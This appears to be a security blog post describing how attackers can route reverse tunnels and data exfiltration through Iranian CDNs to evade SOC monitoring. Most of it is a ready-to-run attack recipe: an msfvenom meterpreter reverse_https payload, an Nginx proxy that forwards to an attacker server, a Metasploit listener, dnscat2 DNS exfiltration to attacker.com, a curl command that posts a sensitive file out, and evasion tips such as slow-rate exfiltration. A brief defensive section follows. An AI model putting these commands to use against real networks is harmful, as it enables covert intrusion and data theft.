Bypassing Iranian SOC and Air-Gap Networks Using CDN and Reverse Tunnels

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The “Iran Access” policy has become ineffective, allowing attackers to abuse Iranian CDNs for data exfiltration and reverse tunneling. This technique can bypass SOC monitoring and air-gapped networks.

You Should Know:

  1. Setting Up a Reverse Tunnel via Iranian CDN (POC)
    To bypass detection, attackers can use Iranian CDNs like ArvanCloud or ParsPack to host malicious payloads.

Step-by-Step Reverse Tunnel Setup

  1. Register a domain with an Iranian CDN provider (e.g., ArvanCloud).
  2. Host a FUD (Fully UnDetectable) dropper on the CDN: 
    msfvenom -p windows/x64/meterpreter/reverse_https LHOST=iran-cdn-domain.com LPORT=443 -f exe -o payload.exe
  3. Configure a reverse proxy (e.g., Nginx) to forward traffic: 
    server {
listen 443 ssl;
server_name iran-cdn-domain.com;
location / {
proxy_pass http://attacker-server:4444;
}
}

4. Start Metasploit listener:

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST 0.0.0.0; set LPORT 4444; exploit"

2. Data Exfiltration via CDN

Attackers can use DNS tunneling or HTTP smuggling to exfiltrate data: 

 DNS Exfiltration (using dnscat2) 
dnscat2 --dns server=attacker.com --secret=ExfilKey

HTTP Exfiltration (curl-based) 
curl -X POST -d @sensitive.txt https://iran-cdn-domain.com/exfil

3. Bypassing NIDS/SOC Detection

  • Encrypt traffic with SSL/TLS: 
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  • Use Iranian IPs to blend in with legitimate traffic.
  • Slow-rate exfiltration to avoid threshold-based alerts.

4. Defensive Measures (For Blue Teams)

  • Monitor CDN traffic anomalies: 
    tcpdump -i eth0 'host iran-cdn-domain.com' -w cdn_traffic.pcap
  • Block suspicious domains: 
    iptables -A OUTPUT -d malicious-cdn.com -j DROP
  • Inspect SSL/TLS certificates: 
    openssl s_client -connect iran-cdn-domain.com:443 | openssl x509 -noout -text

What Undercode Say

This technique exploits trust in local CDNs to bypass security controls. Defenders must:
– Enforce strict egress filtering.
– Inspect encrypted traffic (SSL decryption).
– Monitor for unusual DNS/HTTP patterns.

Expected Output:

A working reverse tunnel via an Iranian CDN, evading SOC detection while maintaining persistence.

Relevant URLs:

References:

Reported By: Hassan Sohrabian – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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